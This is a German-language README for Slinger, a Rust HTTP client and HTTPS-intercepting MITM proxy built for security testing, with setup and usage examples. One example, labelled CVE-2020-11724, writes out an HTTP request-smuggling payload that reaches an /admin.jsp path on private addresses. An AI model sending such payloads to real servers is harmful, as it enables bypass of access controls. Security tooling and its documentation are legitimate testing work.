
Ein HTTP-Client, der speziell für Sicherheitsforscher entwickelt wurde
Ein HTTP-Client für Rust, entwickelt für Hacker.
Erkunden Sie die Dokumentation »
Demo ansehen
·
Fehler melden
·
Feature anfordern

Slinger ist ein Arbeitsbereich, der Folgendes enthält:
Die Kern-HTTP-Client-Bibliothek für Rust, entwickelt für Hacker.
Ein Man-in-the-Middle (MITM)-Proxy mit transparenter HTTPS-Verkehrsabfangung, ähnlich wie Burp Suite.
Dieses Beispiel aktiviert einige optionale Funktionen, daher könnte Ihre Cargo.toml so aussehen:
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }
Und dann der Code:
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let resp = slinger::get("https://httpbin.org/get").await?;
println!("{:?}", resp.text());
Ok(())
}
Fügen Sie Ihrer Cargo.toml hinzu:
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }
Beispielcode:
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let config = MitmConfig::default();
let proxy = MitmProxy::new(config).await?;
// Add logging interceptor
let handler = proxy.interceptor_handler();
let mut h = handler.write().await;
h.add_request_interceptor(Arc::new(Interceptor::logging()));
drop(h);
proxy.start("127.0.0.1:8080").await?;
Ok(())
}
Weitere Einzelheiten zur Verwendung des MITM-Proxys finden Sie unter slinger-mitm/README.md.
Slinger unterstützt die folgenden optionalen Funktionen:
tls - Basis-TLS-Funktion (aktiviert TLS-Typen und Schnittstellen ohne ein spezifisches Backend)rustls - HTTPS-Unterstützung mittels Rustls (erfordert tls, reine Rust-Implementierung)http2 - HTTP/2-Protokollunterstützung (erfordert ein TLS-Backend)cookie - Cookie-Handling-Unterstützungcharset - Zeichenkodierungsunterstützungserde - Serialisierungs-/Deserialisierungsunterstützunggzip - Gzip-Komprimierungsunterstützungschema - JSON-Schema-UnterstützungUm TLS zu verwenden, müssen Sie:
tls-Funktion aktivierenrustls-Backend wählen ODER einen benutzerdefinierten TLS-Connector bereitstellenBeispiel-Feature-Kombinationen:
# Verwendung des rustls-Backends
slinger = { version = "0.2.8", features = ["tls", "rustls"] }
# Verwendung eines benutzerdefinierten TLS-Backends (erfordert Implementierung von CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }
Wenn Sie native-tls, OpenSSL oder andere TLS-Bibliotheken verwenden möchten, können Sie einen benutzerdefinierten TLS-Connector implementieren. Siehe native_tls_example.rs für ein vollständiges Beispiel, wie native-tls integriert wird.
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};
/// CVE-2020-11724
/// Wenn Sie den BurpSuite-Proxy verwenden, muss der **Connection**-Header bei eingehenden Anfragen **deaktiviert** sein.
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::default().build().unwrap();
let mut raw = Vec::new();
// replace \n to \r\n
for line in RAW.lines() {
match line {
Ok(l) => {
raw.extend(l.as_bytes());
raw.extend(b"\r\n")
}
Err(err) => {
println!("{:?}", err);
}
}
}
let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
Ok(())
}
Weitere Beispiele finden Sie im example
Beiträge machen die Open-Source-Community zu einem so erstaunlichen Ort zum Lernen, Inspirieren und Gestalten. Jeder Beitrag ist sehr willkommen.
Wenn Sie einen Vorschlag haben, der dies verbessern würde, forken Sie bitte das Repository und erstellen Sie einen Pull Request. Sie können auch einfach ein Issue mit dem Tag "enhancement" eröffnen. Vergessen Sie nicht, dem Projekt einen Stern zu geben! Nochmals vielen Dank!
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Verteilt unter der GPL-3.0-only-Lizenz. Siehe LICENSE für weitere Informationen.
Your Name - @Kali_Team - [email protected]
Projekt-Link: https://github.com/emo-crab/slinger